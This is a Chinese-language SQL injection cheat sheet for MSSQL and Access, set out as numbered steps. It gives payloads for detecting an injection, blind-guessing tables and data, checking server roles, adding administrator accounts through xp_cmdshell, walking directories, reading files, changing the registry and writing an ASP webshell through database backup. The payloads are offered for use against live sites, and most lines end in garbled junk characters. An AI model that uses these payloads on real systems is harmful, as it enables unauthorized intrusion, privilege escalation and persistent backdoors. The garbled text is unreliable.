1.判断是否有注入;and 1=1 ;and 1=2 R(DlJ
2.初步判断是否是mssql ;and user>0 |ea}+N
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3.注入参数是字符'and [查询条件] and ''=' *`bAu *
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' EnXTL]=0S
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5.判断数据库系统 BW&)Zz
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;and (select count(*) from sysobjects)>0 mssql 5KwT(R o
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;and (select count(*) from msysobjects)>0 access UU]a).rz
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 <>^otb,e$
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 +(J{~A~
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ER*Et+>
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9.(1)猜字段的ascii值(access) wx)Yl1C
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 0?8{q{ o+
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(2)猜字段的ascii值(mssql) = $awUy
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 RS[>7-9
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10.测试权限结构(mssql) /l$>W<}@
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- fr([g?F%D
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- q~*>
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- l<=Y.P_2
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 5t~p99#?
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 7>>6c7e
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- QIZbAnn_
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;and 1=(select IS_MEMBER('db_owner'));-- q\a'pp9d
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11.添加mssql和系统的帐户 0NMekVi
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;exec master.dbo.sp_addlogin username;-- o>}fKg<
;exec master.dbo.sp_password null,username,password;-- U 4ELlxGe
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 4` zfrT^
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;exec master.dbo.xp_cmdshell 'net user username password tW|K\NL
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- _MC\\u/C/
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 'CSIC8M<j
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- *Af:^>mh
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12.(1)遍历目录 &E&e5(&$
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;create table dirs(paths varchar(100), id int) cy-Bhk0H
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;insert dirs exec master.dbo.xp_dirtree 'c:\' '8b/TL
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;and (select top 1 paths from dirs)>0 DoA+Bwq@
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Z U^dLN-N
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(2)遍历目录 b;XUv4~V
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- b7_uT`<
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 UfUboxT
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 CZL:&~l1
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 {q-<1|xj/J
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 . w_oW mD
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13.mssql中的存储过程 - s,M+Q(<
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xp_regenumvalues 注册表根键, 子键 G$B( AWL
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 6cV -iDOH
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xp_regread 根键,子键,键值名 6eNo}Tos9
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;exec xp_regread =
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 (!@
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xp_regwrite 根键,子键, 值名, 值类型, 值 Gz9w1[t
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Ikn)XZU^
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 |%@.@c
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xp_regdeletevalue 根键,子键,值名 $\
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 1j7sJ" *
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ` 5.PPI\h2
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14.mssql的backup创建webshell K38A;=t9
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use model ^\z.E?v%
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create table cmd(str image); El}."}l&
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insert into cmd(str) values (''); .9< i
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backup database model to disk='c:\l.asp'; %6vf~oG
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15.mssql内置函数 /NH9$u.g
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;and (select @@version)>0 获得Windows的版本号 j}2,|9ne
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 8%dE$smH
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;and (select user_name())>0 爆当前系统的连接用户 BixKK$Lo
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;and (select db_name())>0 得到当前连接的数据库 8e`'Ox_5a
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16.简洁的webshell $R '
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use model Yy$GfjJtL]
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create table cmd(str image); d Q5_=(9
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insert into cmd(str) values (''); .KA){_jBp
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backup database model to disk='g:\wwwtest\l.asp';